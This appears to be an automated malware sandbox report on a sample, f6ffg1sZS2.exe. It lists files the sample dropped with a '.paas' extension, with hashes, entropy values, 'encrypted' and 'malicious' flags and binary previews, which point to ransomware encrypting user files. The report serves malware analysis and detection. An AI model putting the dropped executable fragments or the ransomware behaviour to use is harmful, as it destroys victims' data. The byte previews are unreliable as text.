Preview:	SQLit:f#/...pt.>..J.3....\|.j.....&.......r -4\|..a\|.O.o..)..G.....Y.B)..I.r.BC?\.ggK%y.O....r I....l..........G'.!..L...r.@.~a.yP....WZ......[}56..^.O...^....6.g....?....G..........5....n.....<.P,w!B..!..#].4._.8h^.<.........L'.6....r....tL..hB..u....W.U'.[..rV.....).V..].M.5...z...m..RF~......~...q..u.6.h.U.....+A.....;M5.....o.{...z:.Gei7h.2:....9...h....zLP$.#..@^.6.G.,.4>..E5w6.......U>..p....X..y4..D[.9........f.q'L....j.y.d.g...#....M../..S..y.j....yp..k..T.-W...\|5.?;..l..c...^..C.Xu.A.L}!x.t.E#.x.y...b .O.Q.A..v'..,5.?.F\|....[t.+E.....0f..F.F..C..-i..&....;G.H.D.{.r...w.LW'.<.+~..ar>...?D.%...C.R...N........6...v....Wjc ....{wH..>-j.1k.z..B....'...,k...E...a1N..4a..a...'Y(.......6.N7..B..Nm...uH.....J.....q....b...).Q..~!.Y...\|.Z..N...E.&.uS:.~uW_.,.~..,$\7.G..V..BuR...[....A.8...Y+=...E..\. .......Z....<I....].6.a32..>..,W.u..A.&....../&.?...asD.m_...=.l.wR.\../.B.1.WvI.j@...1ze...C.*^.i..M.....p>..!....".U..Qg...j.V.

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991564645779569
Encrypted:	true
SSDEEP:	384:BLZaDD31/DRa2ZTh7hKUgZHRO6Ar7akfl5koUGUj5tJEiZEChzFosxrCw:F43a2Zh6H46Ar7lflyvGSE46s8w
MD5:	1B4A9195617128621A4A59009F77D040
SHA1:	CD4081767309419AF16874A84B80097875A83A93
SHA-256:	6433C0C8E41E9E196C34CBD84F475FBA97D962385A4AA04B74200A06E9D45C85
SHA-512:	41D82A198E83BFFD1C96C3009A9984A8A5B373B3F0EAA192268DF9DC1380A61FBCEB4D9464A4E79E8E503E6617B80FC4B651B158DF2C4C0FBA0ABEEDD4DA0028
Malicious:	true
Preview:	SQLit........c.R!..%3..M2..._...>e.."..P......U#.T66.\|m.n..N}Jx._...;..4.j-... ...J`..CDf......\|,-.&E.f).zl.^..D.?#1..Yn..K..........F...v).0r.y<...8...V@.r.Ijn....1.....>....S....:3.v-.k.1...e.m..q2..T....;.......=j...b..=<O....c}j...9}\|l..c.K.!... .e}.(.t\|......T....1v.m;...@hY&f..S(6..Z.%}.x..g...8(..r...'\|.4aj...T.....-6..H>9.7.7...........3\O,R.BVL.N_..FI....b.\..#.x.{1..5.q'f..0......`?...$.q}Hr....6.5@P......F......._J..&...y..S.D/.xZ`....(U......~2......9..T.z.0?M./..%._..{W..f#.w.X.......N........w..{.....k..$0.....6..;.>.. b{....&.Z..nL.../..@...H..L....l...I.l.......".w...^}.{.hvGJY.R.op#..^...^.8...2\|S.u.x../.].R=dVd..W.G...., ....$~.w.@G.J?m.^NK:LR.{M.!...)L..F......[.m.....\?...5.v....Oqy.U9.h....Ch...V.":...anH....,.b.ss...U0...,.u.a'.-r&Z......Y^M_V... ...T...#..H....Ih.......d..N.\|...GL4...8....4..l.=L..;....CE,.@....:.. .$...t\|.4.......\|..k.xl...i.......U...U.5X....W]..b.q...;....?.........iD..+v.cyw...6..!..VyJ..

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993025486672038
Encrypted:	true
SSDEEP:	384:RD3mfoeF5O1IJR0j7GPyJ4OF28l6sWYVO4z2nRur4eqtRdf1jqOoHng+:Ufoem1JGSVlzlqRurAzdjqOoHng+
MD5:	9FC3B8C45ADB570B475D7A5E8FD4812A
SHA1:	C7F2DD72085FB93941F23F6AEC29E279C81873FA
SHA-256:	71961778E33716DA3F673908017C0D4B0BF575DF6F028B9AC5D073F48898C1F2
SHA-512:	3DEF1441F1DBB7E3ED8BC990DFCA15639FCDAFE4CA4BBCF15611C7ABD0169B492F0C8E8F29AD54E8D94B69794E2A8FFE72B8B22374F349C64A990D875DE71551
Malicious:	true
Preview:	SQLit.8...k.\.X.n.....#..V.b.+1..M....c..]...........a...p..e.\7.DX.+...S..L/;. .59.#...K..!\|4l..<I..V.]Lm.s......!Z........%..C.+..V.u...T.r...nK..q.z_.j_@>>......m..j.c<...5.pvj.......[......x....T.n.."K...w9.s.u.a(n.$j..X)P...9.Tb......=%%..Y-...o;.d....P.\..D.3Z..=.....FNg.....K....K..q.Ahl..G...pn.....`9{.\.?...z....;.Qa..>..E.s&=.P.P.y..)..)..W.k`x..J..I...Y...,..-}dd..`/.^...@...Q..1...{.......S.ZCI:b/l...~.z..v...nZ...z..^.6b...M+#.:.E..t...>S..\...jH\..)s..\.mr.7.:...hW+0...6....ec?....=.EB._...... .h.....(IX..G....dh+.v..I+............21LNc..89..l...h.7.@..Qo.6.....p.f...Q&....j.... V.!t..I..HD.{q..../..mQ..e.a/1g@.J.1T&......."..n9...1..0..+oK....L.U..=.t.Q..e..k-...:.....P......~#C.~d]w~....\|..J...b..)a...nE.........1FIv.X.....&%.....Q..%.b.....3.N.9....%.2l.AzT[...c..!.5Z...\|..9...........w...+...^.t...0.)t..@.......>DEI.~.t}...Vnq.!......2...\.2e......;..h.Q\K...B.*....>~.a.".....t.Mm6..\..C..hC......:..

C:\Users\user\Local Settings\Microsoft\PenWorkspace\DiscoverCacheData.dat.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.858597287910528
Encrypted:	false
SSDEEP:	24:YxFFzn/Gt6q/Ozuvj4uw/VORWgz4oNG4BfrKTWRu2GXvzeLwdUbD:YxTzn/Lq2u4z9ORWE4oI4hrKyRu2gCLd
MD5:	75E705D08E008AF9DDD803B207A9C653
SHA1:	1CFB09AFEF8FD6E934D8EE6B23C563E93355B4AF
SHA-256:	DB4DCDF2048AFB58E49985EE494CDBD35084EF190B433BCE052D4B7EDCD3D20D
SHA-512:	E65A999743D98F4692D0EB688E8DC84DD0793BF0420EA47232879215B6D587F9BA64E756C314206F5F0CDF0F3B609517E78A60475976F0F29E4A79460D1B2003
Malicious:	false
Preview:	{"Rec..p.@..../{..^.....L\|...P>i!3OD<x../.].s..)V..... ..m{o1.m..`P..K..5<oT.K......j...E..X...pq&:.8.j..R..<..".}jn.{....F.XCa.). ..T.0.......&n.......g.c:....f.+Q..B)..tk`w0.^....ONl.....e.9gg...S.y.J.B/.5<w..A6b..........?...ub6Tn.?...ccTv/.$K...k#......[J5..RF..H.)....>...l..G..2.c,...qu...'@.6^.w...dCh..G...\.$.}M}.Y6._2..j..x%.K..{.8J.?.j../.X..+./..;.C...R]H.QkIA....;}=%0kc...n....W.\!...n...8...7e.>1..;.<...}...j..#mq...)R.s(FO.[...../.9..h.6..P.M......O.I....!.+..d,...~.r....A.....R_....G...3.g....cM........6j.h.aJ+...".JD/`U..+J..x.aT..._'{.."....[.%.......G#..f...=R..p.}.B...<......g.z......h...pt....z..F...Q......./.....j~~q...n...gL.hq>S..ry.~..u....f$...&.&.JTy0 .R.}b.#........op........H]N..B..ZP?%_....._Y...\|.yTrZ!..n...kE{Y..R..Hi..@...6...`&.........@#[@..+c..=.]dI&.(,7..q.b.3.JF....A.....t.#.u."..\...V.y.U.!...d.41<o..%...KS"a.l]..<V.....0....o.G..~E...7U.d.8d.DC^..?a'P5../.S.....IY.0...9b....k..C.s.[o.9..

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9280862984313245
Encrypted:	false
SSDEEP:	48:dldU+3eieXrLzUeshLA9a02julfQKufTa3qlfZVr1MlcBRqi/RSQzYFCtD:TdpOieXrLz7aLAQhjmoKSmaZV1ycBIi1
MD5:	21265EF698C8481EC29A75C889F7E536
SHA1:	46CE07297036E8AB342C5C55454A24151B1BF627
SHA-256:	2D5B139A3C17CADE679E62C777FB92FABD057DBBB5E033BFA85F0D29C1A62CA3
SHA-512:	47A36E463E7B8894AF9AFAD15A0D4C1CF528E3275F94005D5BD86C49A8EDE86CA2C6B6BA7C1126414118CB10255479B129BF9352E3B2187D256D9F33CF7C54AB
Malicious:	false
Preview:	{.".T..G#.o.<p....i.Li.Urp...g".1.1.^...)s..j.E.F.AXR../.,.9...z......}PAZd....D......>dp.J.f.Y.83...-Q._....PoT......#.o.....zp....F-Q...i...Z.<.g.v...X.J.<.#n[..1......J..v.#.....Bk.......z~..Q.A~.\..)WR.:...-}..Y..^)..D.&..?...J..>.,z..7U#.........u.p .Y..'E9...5.n.%.(..3?......BM.}g3.]mM.2. ^8-..Q.Gs.".N...s3bW.>...ad...3.'l..........uv.kE.9@..wer.tIu..=...w....&....J..:yz%0.....Mw..o..!:...)..G...:..i.:.4..(.....S....@..&.'.^........7.5b30.......}..3d.....h...m..Bc..i....(.&...i....SU.@...r..S...%.9.DTSQ.p..rN...4.s..o..;I.>_....=2...R..h.>.V.......iTl.b-b......}T.... sW..T...tC.E....LF..c...AA...E.L.0..+e...........Pb.0K9)e.2...d^.?J.....x.i..G.3... ..\|...{..V..r2.......-..Y.b.Lz].....e.\....,..p..........t=NLd........r..m.{....d.J5%.2..uE...& .$w%.N..Fx.o....e+.'....,.s......@.I.v....D3..y.....C...L%..]>.'=..IKK.66. ...,..$.`.E...CO.y.....J....`45fP..$V....:.O..Mwd...D....7B`.%.ZYJu...+."..i....Bh#...S&Y1.'...x..\.....Q.....

C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.99201255963265
Encrypted:	true
SSDEEP:	384:LYFhhAcRgbnqFCN/FRrGw2TngyV6vuhVLjYFZcbESI2wQ59DT:Kbo9JA9IvuhVLsZOdb5JT
MD5:	A725EE5C538E98486EF762BEA4FD0F93
SHA1:	63330FE4EEA67F6ED64356E8339458BAEF69F8B9
SHA-256:	9FD952D2C67E6ECAFE8BA97E143E29F9A4B5CAA547B28E2F17DC20829838E0DD
SHA-512:	9E24A2FDC2E6BA6781DE837CC28343904DAF9B25553D4E03FBE1F62C1CBBC029F23D76C823D09A0D81F44A54D6ADC6A190303DCD5A4C7B3FC1F014B0B01F6DBA
Malicious:	true
Preview:	......S...@..4..tD.H.P.m.L..c..!QF.RPiy...Qd..I....c...:~%.$.MS1G....P/..Z...J$F._9=.7.X.".&..M..PWjVt...o.......$...3k.D!8.kf[......iK..n.9..F.;.Y.q.....e5v&.~6W..qV........v..X..q..f..^\.!.m.x..T...j...5.Q..1..t.,.qV..).....`#.....g..:/.L....^N.....O...........V\6..8.....o..[aj...,N..q.....\B..]l@p(.....6.as.J.. \|...&J..&....M......y.c.......H.1.rn..."y.P...tRi.]k...mSg&..#B.,..E.......c.0.JR..4....B0......D..^72..\...c.v}...h.n.E....(....W....s.#=`Y.\|.....7..N.....e.S..8$.al;..u.#.-..2...+,P...Mo...^....D.{..iB.....>.y...;.H.z;mi....H....&..Ki^...0:.F..c.o..r...~......D...Y.'...Lt.~.....q..}S@._4<.A.>..^...\q."j...-`F......}.3.m....f.:q.~.:..U.....E.F.b@y.Q$.U..!..\|.f{..is.,.;..[q.W...,...g.7.v...(L..#..h.V.x..@.jH.g.m.pmP.ad...7.O..5.b.A....];...2.7.s...i..]...&..oC..&.4..O.g.'.>x.$..K".6....Y..*yV.73.x.R...6...=..[...{F~..:.z...Q.. .xt...S.N.y....$N........r.bw..,W.h.......0...o9...\|.....]..k'..;.A..5Z7.......(....n...{.,.N.`v....Y..yN

C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.992633941603898
Encrypted:	true
SSDEEP:	384:wsk95tGGPDJky4Cesa5cxumFjOB08ICHrLZ8Zn4zFGdLgsgAF9P5JSEsY9nMpwMp:piD+y4Ga5ocBlHSZ4zFGdLrgC9PP5lz+
MD5:	62A16A1D077F9BA0273E28F1003256F2
SHA1:	521D7FAF100C423C7D5B6FCEA2A80A1931FD1CAE
SHA-256:	521F4E8BC1817BEB135EA460C7767F7BD24BE4A6CC33332A150C294404AA8997
SHA-512:	B58DBE3BED069ED9ABA0E25EC6E44B32ABCBF790E7705F3AE04C259FE991206F9A0722A1D6484E0DAE019FAC541D11E2FF462102A3492C221E18814C840C51AC
Malicious:	true
Preview:	03-10..$.K.\|....e..o..n. )-..qy..x.$l........f...vA...?&..........)oCX...`..C.K[....=.pa...u.H.V.W.1..f.8Ta.`.5...\|...QCSM...ri-..bN..o.w_...l....\|=[ `......"..#.Es.....<..-0..a...%..{...q.....&....(......o..<IR0IZ4.Tp.0u...T[.U.].:.!d7..\|uVk....\.-:.n........I....a..q.......k@..G-....0u.........N.G......l6...(1{.8@s..h..../z...P.$!hv<..$w..j... .M.:......,..^c...R5..'.c.A......f......$...`...%.T.d.$....._."./..I.......{....R.?O...3..ay.:35......F.O..M6(..;X.s.p..4....s......q....!+R4.<.5.K.;\.$.!.%.R.w.x...6..WD3n...}at\.C......-..S..#..Of..Z.I[>..q..@..."<.ja.......k.........U..C9.90.l.B` ..b..._.\|....,8.....c#...@.T.....-.jd.\..d.\|}e4...=.9J....I..q.../q.\..../<d."....u....T...#..l...5..p...).?#.?G.QF.J.{....g..EXj...e.<..8z.$..:.......uF.tVz}F.p.0.8o'u!....S.a.H.;QT....1...zt...6..U3./.3.$......DVk.A.4. .wq.B6.&3dr`....j.q..g2.....wbG......yyY.U.4........7.y..i.8.md.)..K.\/.G........@......=)....N.f.....wD..SmT.<2./e.. .Fe.a

C:\Users\user\Local Settings\Temp\wctEA40.tmp.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997297803369905
Encrypted:	true
SSDEEP:	1536:oYZRa4Fo+q0kk3r3WNodashyDFY+Q+pHaIvWGRa/vB8B2AX9CgK:fZY4m+q0kk3r3VashyDI8aI+GRIp8BnG
MD5:	4F181800F09D64124408B3B039D2E98E
SHA1:	319D8C5BAD6D066D2FE86FB4ECE99BF74152F665
SHA-256:	7896CF1A7BE88C08CA49A354385F1EC38157F1A4E9D616CEC2B75103EE0AE368
SHA-512:	EC009F5D2FAB23B10B7AA1B1E4F41647EC82B31E5420CD543BE49567DFEF0EB70615451D565247053EDB10EEEEC0B6D8E0C3F35B1308AB3EC5AC08CCF1F908FD
Malicious:	true
Preview:	{"ram..-h....7mI.H...J+...C.D/>.....A.)....g..h=....}....6..ic.Q.t.n.v. 2..._p}&...$...[-.1..`.....@.=.C.+....Al.R..m!3...".t@\|..;...R..w.6..x~.>s...cxxF(5...b.u.J..R..]....`X<>M..0..,....k..(.i./)^...#.....W...u...B.H'.^6......c.w.9....!...\^H.=.g....2.[..\...r......zy.8....r.K.W..m-.......O.@5(K....m+......=..B.....h..mS.. .....P... .6..Q..s.Q08..!...'..\|..m..65.............b].....`.\......\|n :..e.....7 .~P.!e..H..x.V6.:....Q.@\|.[..?.XC.K}..D....a...s.....>.............P.B.........u....iJ `.D)p....a..Ag^....kP..H.pB ...n...f\<y.BP@y..2.....PS.\......G.z\|.O.!..kn..l.x..m....(....m.iu....Al.v O.....\<....I.......A9QT..O..W..5(=..4,....W.Y.XP.b....N.....`..\'..Aje\...3..^F1.c/.8.3..a..f'{..{._[.0.EC.qC.:..d.....r~...n0..4C.o..VV$...........7$..8.b.w.'i.Jo.^;......e.j..R.4<Z..T..An3.......2..n&.,.........U..-=Bw.C.....)....c`w7.........J.....)x.....;s....q"z......K._P.S...\|...S...>[.w.#.@.f<.k........(..........Wj...n.kTS..Ra.yD.u

C:\Users\user\Local Settings\Temp\wctF411.tmp.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997858225266634
Encrypted:	true
SSDEEP:	1536:I/YPB0ekd1acceeI2Pik96u13NlxCaTKouMMvdEIm78+:I/QbkAeeI2X96g3N3CaeFEImJ
MD5:	C899DCAEBF55D860F13B0C71179D4B68
SHA1:	21B292E24B99438E369E607DC622C68FD7BFD729
SHA-256:	EBA616A0F0E6E6A05677A133C5B7D17158B508A571DCD90D6B8B37DA47CAA7ED
SHA-512:	F53247E52B39FD9A21850F9F060BB77FBAB4C89806B3DFD4A6595136F707B4ADFFEFC0B699CBD592B7A44B836DE8D549D1ED88E0FC9020E2B1898E455A6F4725
Malicious:	true
Preview:	{"ram6.......z.6..gFc&....C.........#..j.!..ar,W.!.V9#r/.6.P..Pu....82)...p...Z.....].G.BO..4.}T.E.'.).l.sn..+..Z..vi......X..G...$....v"L+;.[.i.......y.j.psc...Q...R...O$...Z.r....f.N@.....]t.9.......9..Y..@.KY....s..}b?'..I..b........7...... d...V;C....Y..7f.Ha..)q.=?b.j.c.T.>...m....Df.K".=...8...%...nj.Y}..5.....h...v.)....r.]..<....Q..?d.y...m..L...1.y.i.)..)0U.{...v..~...{......k.$.F..{t_.b#k..y0.[aeT.kL.@_..#%..j...e....[..../....W......!."...uo.w......9n.....k..."B.//.1.,.!.6.)u..r&..b....b...........(3....C.!..[q......S1....{.....5e...t[.9x.X.H. .2tK....j.U..q...x....ZO..<S.7\.+._.>gK...l.{i.;.S.$.......0.....>N.../c....>.4gx..`k..P....e.]E...+.. mi.9...u_...C..I..xL.k.+).4\..b...b..F_7TC....-.u.n.....5.n_T.s..R..).._#F9...I8k\|.\..A.8....=.4Q.9..(Z..O..e..v.._..n....Z.ho..k.R.H.)..}Da..:....Z....P.D.....1=bIo>..I...i...]........9mI....<\|..).J....!r...g.x."%.i.vs...@;/.4......?e.9..... ...x.Z.oL.. .D3.9Hn(...)........?w.c..fC.[.Cn*obn..

C:\Users\user\Local Settings\Temp\wctF86A.tmp.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947664427559658
Encrypted:	false
SSDEEP:	786432:RwQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59o:uQcWxDMPnN+dk65gGUjku4vNjLjo
MD5:	04E12B54DDC19C176360D6DD0BFF6E38
SHA1:	66C513EF677F537FA125CC1831EEF14E119CFED1
SHA-256:	3B549DD765F55EF8BFDC10AB1C7404D1D9B9E7E0B9436CEA1BE933555ACAEEF4
SHA-512:	052FC1556FB0A29700D731379957F1D6C522A81009B046999D73D921A8508B1C5266AEA206E5D4AEF6980C8ACAEF9B1B97E0DBF75387D56466B2263A8CD70CB1
Malicious:	true
Preview:	MZ.......wS...C]pA.....2......G....P...e...l..7.3.&...l.#R.....~.h.P.\{9..W.."..2....[....l.....HA.:;.+o&..n.].....i.......O....4...,'/...G...@~...[b".C.}..... .!IK=..4.t.x..=4......T.pi..iRNM.....e@,^.=..Y5..?^.+....Gu..x.Y.>EB...7..(....X..y..&..K.c..T\|...."D.G...3..z....M..k...)...j.0)....Ui.6(w ...!`..R....9.02.......t..{.fP..hH...{`D0.T...0".1...V.U...~..G{..3...[...SR..%[_.6.pm.....?C.ox].).T.Z.Z\@..Sg4J)..I ..\.6.~..L...O1..,.....:.}..j...R..#(.3..H.v...{.Y.I...H..(F..%..MF..M...H7..B........h(.4o.2.}`H...!.K.>....Z .cD...Yx[.e:b-.=...x..L...z:.m..m.;..3......w3]..<..e..`..X.sXrg...Q...L.......0.Q.._.;3g.7#_K.Z=m..G.-..*.>Y...A&.....m.ZEX.w(c......7.B)...I.9...I..G2...cf9..Ck.~.....g..`I...T9..s$6..6..z.. ...n....-u.5..4.R...].E.F.#:X....oi..t...j.=.}P!....`....a:\|9.1@.[.....h...._[.Q.._.FH(....\.\......0..RR......k.u.P.....M.........(..(..7r.X.....9"...X...^.11......6.N....1{..)..n...R.....i...NMa.r.R....t..IQb....8..

C:\Users\user\Local Settings\Temp\wmsetup.log.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.772242837695736
Encrypted:	false
SSDEEP:	24:tn7TUYsyeRhuNL8AlePxf3LgJIRAij2uz7xzW4YuYtbD:V7TBsjhUDgP13LNAijj3xzRr8D
MD5:	6FC407DD56111F5ACF25077D47B25D77
SHA1:	8406126390E67F7B49179C069EF58103D13D5918
SHA-256:	58848BE97A9DBF9A3C4E1C660B13784F6010E213318FEF3D195C1DBFC07C4E1A
SHA-512:	6879C9DB40DD7D964E308437AE507F28B460AEC46C738913929631930CE9ED8D1A75CD6A5567B8BB031734F9B694C8BABD3246A0873004452016980111905DA4
Malicious:	false
Preview:	..[W..bv'....w ......'K.f......D.w..\,+..S..MB%".R.<:...:}...........H.v........U.5.e.G.'...d.A.cm%I........]\|.....qd.......>.......EG..%.\q...G.p.iX.M(...1..N..%.x/..Q.. 6(.x(G,{....t...B&.M.b......xmR...-.a..'..)....a...v%.4.$....u..7G+..#..U+......[..H..f......MX.$..23)O......mV....}L...5.[..v2...E4.H5 l..:c...T."i50...1...430t)u.f.g...>.."y.k#[.Q..=#...p<..&....D8.,1.X...Me...,l....6wd....OD.CR.f.O. .p.b .....%n.n.y(\|w.$.7\v..b.z.....6..m..d.?"....4..oQh...\|......&..!.....3..y.2....P.....w.<z9!d....y.....cw\|.N....8..:..F..yF...2.oN.K.......H.......^.........F..Li0e9..'.cg....?L.....=.Mv.d.s....y...>.A(C\.......`.g...`....%,..n.b.e..Q.}K.lg.....e...4.......o#.'...H.m!.n...9...s..:.o#k?....ZB.(.......%E..M....,..%".c7t..[..._}.E.dm...6..91.S.B.]...[\ .B.K..[8..9U.mPf....&..,_).m4..F.ri........$q..>NN...k,'.U.A$....#...ST.........$.~..\.0wM...`.-.....,..cJ....$.sP...nw.no..f...p.......7.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698

C:\Users\user\Local Settings\Temp\{02662522-698F-45B5-959E-0EC7B36298AD}.png.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.97215369948185
Encrypted:	false
SSDEEP:	96:P8KcGg3Pkuh5YaHHIqHDmP3MhMtrhp2eMcFz25LB5KyLPTXQn9McTxlbfMYWObWo:PF2gaHHDCblrz125LB5vbRcllL0P4ldD
MD5:	FE6FF0373DD797FDDD92E52A6459C8F6
SHA1:	81B26C9B2AB1D2C0EA35FC5AD5C8C5869EFC05E3
SHA-256:	4EE97BAFEC4B5FF113C6F58A026C2AC97F9E020139E4E38CBFCC35605A19EF1F
SHA-512:	00F92AE61C0567DAD6C4F7B06A9E2581E91A80A851A75E9EFE6FC1BF7353C6FC9E81DEAADBFCE50B3F2030DBD0AE8A3D37E351CD47998DDA4B1587CE5726AC3E
Malicious:	false
Preview:	.PNG...E.....t.k..GR`..]%.E....t.}.....z..%]?.7AL&.Z.#...e[.q.B.58.......xc@ZD.6.....Bh..Y.....3.E...rh...[.<.".ND. .t(..! ..I~.C..x.K.D....3..1.t..i..........x. .),.M.m.O.9....zy...s\!_.p.d...8.Td0q...}v..2.7-4$.@Z.`.iC....r..A....w.P....TG...I.=..-u..V\|...r.i.n.d..0.SmHz.....J......6<.......O..@..Y.+(...+....<......U....K..m...A.:?.\..B....U...I.........X.w.?..Q...D....'.......ha..xi}?.6v..._.r.l~.}!%M..aD.....V."...g.Sc...Ow1.5.j.\...T.X.p7_k].....#....1..+.......=..9.g2.S. .E..N.....d..*0q..gtw0...=e..\{....5...j_.W&.._y..w~....F..........I<..PsX..7JC.3zFF..,zS.S....;.Al...q...4.h<.&._....R..].Yt.^f.M.W.#...`..d~ok.ql......H.[.....s...t.$r..............&M._U..n41...p`9.{..U.....}o...t.}.I................u.BE....oZzw.'.B....Sl.&e.An...\d.[.....(....8....Q.`.E'9.O..M.W...+.T&..,.#jX.0.Z..E.9U.cw.h.P..Z!V...r..YaP....9...n(......7.a..r...MJ..i...'.b.....L.!:...bpd.)=..>)p.7..z.......T$-h..U.P....WJ.^t......e..8.9..6[@...LH...l.s....T...'Z+

C:\Users\user\Local Settings\Temp\{139BFC28-947F-45CC-9DE4-AB0FCAEF6E9F}.png.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.971191124101595
Encrypted:	false
SSDEEP:	96:P4VBVVB9wFXRlJphosUeytHylhxmD/SYHczQ+McmGpZ/PtjXPt2AH54LC+Lz0VGf:Q3VjO7phosTytHyTIb98FmUNTV25C+LZ
MD5:	341A40AE152D4AF41C757E828F14A247
SHA1:	60FBD60B0142EA9C3C8ACDD6320BF828A54CF993
SHA-256:	3A8F6D62ADBFBAD8EECD8D0157BACA1413974F52FD8D87173AB0F382F1C9BFA0
SHA-512:	3E22926F7D09A4D50D89CCF2964DC2727742D7F7E3C50843AF99A796D872E0B834A2F654451E1AABAB161DD4E6E517188FFDEE4DACD8072E4A1A93289974E274
Malicious:	false
Preview:	.PNG...r.....,%..\.....F.:.....\..l2.]1..G..oB...p'I"1.........x..h.;.)....k....e2.<.......Q.....&....M^..W.39./._.x6w`.(...Y.........\|.?h5j5....i....#....Y....h.M..2..T...Z....D.T..D.c^.....u.m.V.R2..V....DI..X..A^..YiW....hq....6...h.._....d........P...I.......a..qH.3/B._...Gj..y.1M47..?,}."...X.!7p..?...C....T.".M..../.?........K..TsO...!V...2j=i....x...a...\|........]......s@..{.u...w.R".D9.E....eB.L@.O3...x...m=..'.,.z..n.d+M..2..^D.....F...S``..>....(G..!..`#$.y..QU..h7...U........`..G....E.J.{WM...$st..l.U.Y.Y...@\|..J....S.....!.g3K..1G...V.6#./...U...-.OS.%..Hs.K.#...".y./...k&...(t....'..".qXm.$r..U..kl.........^"r.......HQ.*O.B..{.d.J".s..P.n..4.%@....I3...P.d...A..BE_->/y..m.I>1......v...I...Z.q>....w.....R...j.U....@2.......= ..K..8..mq?.D.........s.@....'..R..p.R0..j.ZT[......k<.6...+...6-..0..\.[.ep..]3N...U.6.9...../:....un..Z...=..%./4.^....;.s-m.=f.......m../.u/P...M.n@@jW...W.J...8.1....;.....-.......e.K ...Y.A.+^&

C:\Users\user\Local Settings\Temp\{5871238D-BEB9-464A-931F-701C8F0FFB10}.png.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.970756130441653
Encrypted:	false
SSDEEP:	96:CDnPkzo+i98kgO438LvUyvEM22HLwGqztiDZoVNXweraV/VwPRlaz63ymMdqfxHF:CDnPkzugMvVXSUsVwB1VwPR8XdqfxHxf
MD5:	F484B8BD29BF9A28716BD4835A515D3A
SHA1:	FDFE069949DD6A67AA1CF8C9E7C460D12E8850BD
SHA-256:	1C22927B73EFB17191B426AD5413CCD2F507B9025046E8DBC973CA550A7CC88E
SHA-512:	54DD04E27C39823427632AEF51E2B8645C365E0D7F50552253D3AEB241FDB4926A38FBEF4617D09BBFB436D03C43AF50CD654148ADA8F252A4337AFEA453A633
Malicious:	false
Preview:	.PNG..v..x.....!5....k.........U.0...?.[.w.R..]:8..Y.'Sn<U.DN0.h.....lHx63..%==.9D.di...s...........hm....+/o...P.P.G:....q.f..:-.i...4.S..c.R.n..o..)..)..O.E.K..whz...Z.....f."i.}...I...........z+.......8...a..&{....D...z..g..k......(.t..an..~d.....%2.M.MjD9...q.9....0.7......m.l...2N. qy.........M..C...5j......f..B$U=.u.C.HY.....\..;.n.P..J...]3..r"..Q.H7...v...c\|.9..8`....>.9W...F4.....J....s...qu6.[J.vd.S.......8.......S.Z1q....W.b,.......9.....k..D..!.m.=...B....K. ..Eb.G..f......RI.s..?...R.m.4:!..JV..M.)0.B:.7....\..f..O.4..5.KVT......q.`.c.].Q...`.:..k&..0...dA.{.GKx.\.O.%....7k:?.G..~....U..mK(}....1 ..47[.....F.O.(x.F.<.....jT:..].1 ~.$.p1...t..t.<.....H?~.-.....5....u......!~.4;-iP.Ubdeo.a...)...o.}.3Dc.V...`r.D.j..YZ&.za..A.?.8...@k..T....G........,P....V.....$...a..:0. h]..j.N3..j.=H..2{C..OV.z........=.\...0.rf...}oOO.u/.:v.i...5.-ZQ.a..r...-'.........B$P...I\|..O...K..>...9`..v..M.......C.U.;P.2x............W,.ec.

C:\Users\user\Local Settings\Temp\{5F969F84-5F34-4AF8-8D36-D6D6A1668750}.png.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.9690675675245295
Encrypted:	false
SSDEEP:	96:pOPCnS+aytIzxjb4umvu82eu7cb98PYc5NbpIA7qAsMcer9yHu4w57Y9whA5sB:pwCS+a7zxjb4Nvu8Lu7c2PjbpIfeyOLX
MD5:	F173DDF0FBF7A23974A7236F4D6377A4
SHA1:	783830E47CDF3D0691FFEAD163719CE0D72A3EEA
